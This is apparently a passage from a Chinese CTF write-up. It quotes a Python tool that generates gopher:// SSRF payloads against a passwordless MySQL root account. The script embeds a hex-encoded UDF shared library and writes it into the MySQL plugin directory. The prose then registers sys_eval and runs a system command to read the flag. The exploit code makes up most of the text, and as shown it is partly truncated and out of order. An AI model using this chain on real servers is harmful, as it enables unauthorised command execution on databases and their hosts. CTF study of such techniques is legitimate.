hex_raw_payload = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000......6C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400"
db_user = "root"
db_query = 'select unhex("'+ hex_raw_payload +'") into dumpfile "/usr/lib/mysql/plugin/udf.so";'
db_host = "127.0.0.1:3306"
MySQL_Exp(db_host, db_user, db_query)

def banner():
banner = """
___ ___ _____ _ _ _ _ _
| \/ | / ___| | | | | | | | | |
| . . |_ _\ `--. __ _| | | | |_ __ __ _ _ _| |_| |__
| |\/| | | | |`--. \/ _` | | | | | '_ \ / _` | | | | __| '_ \
| | | | |_| /\__/ / (_| | | |_| | | | | (_| | |_| | |_| | | |
\_| |_/\__, \____/ \__, |_|\___/|_| |_|\__,_|\__,_|\__|_| |_|
__/ | | |
|___/ |_|
"""

using = "python MySqlUnauth.py\n\n\tFollow the prompts to input as shown in the example\n\t[+] Input Your MySQL Username: root\n\t[+] Input Your Query To Execute: show databases;\n\t[+] Input Your MySQL Host With Port: 127.0.0.1:3306"

description = "This tool will help you to generate Gopher payload for exploiting \n\tMysql unauthorized access vulnerability by SSRF and gaining execute any SQL command. \n\tFor making it work , the username should not be password protected."
print "\033[93m" + banner + "\n" + "\033[0m"
print "Using: \n\t" + using + "\n"
print "Description: \n\t" + description + '\n'

def MySQL_Exp(db_host,db_user,db_query):
encode_user = db_user.encode("hex")
user_length = len(db_user)
temp = user_length - 4
length = (chr(0xa3+temp)).encode("hex")

dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
dump += encode_user
dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"

auth = dump.replace("\n","")

def encode(s):
a = [s[i:i + 2] for i in range(0, len(s), 2)]
return "gopher://" + db_host + "/_%" + "%".join(a)


def get_payload(query):
if(query.strip()!=''):
query = query.encode("hex")
query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
query_length = query_length.decode('hex')[::-1].encode('hex')
pay1 = query_length + "0003" + query
final = encode(auth + pay1 + "0100000001")
return final
else:
return encode(auth)

print "\033[93m" +"\n[+] Your Gopher Link Is Ready To Do SSRF: \n" + "\033[0m"
print "\033[04m" + get_payload(db_query)+ "\033[0m" + '\n'
print "\033[93m" +"\n[+] Your Gopher Link After Two URL-encodings: \n" + "\033[0m"
print "\033[04m" + urllib.quote(get_payload(db_query)) + "\033[0m" + '\n'

if __name__ == "__main__":
launcher()

生成 payload 后直接打,便可将 udf.so 写入 /usr/lib/mysql/plugin 目录,然后再执行如下命令引入 UDF 函数:

1
create function sys_eval returns string soname 'udf.so';

成功引入该函数后,我们便可以像执行其他 MySQL 内置函数一样去使用该函数了:

1
select sys_eval('/readflag');

如下图所示成功得到 flag:

image-20210912060419893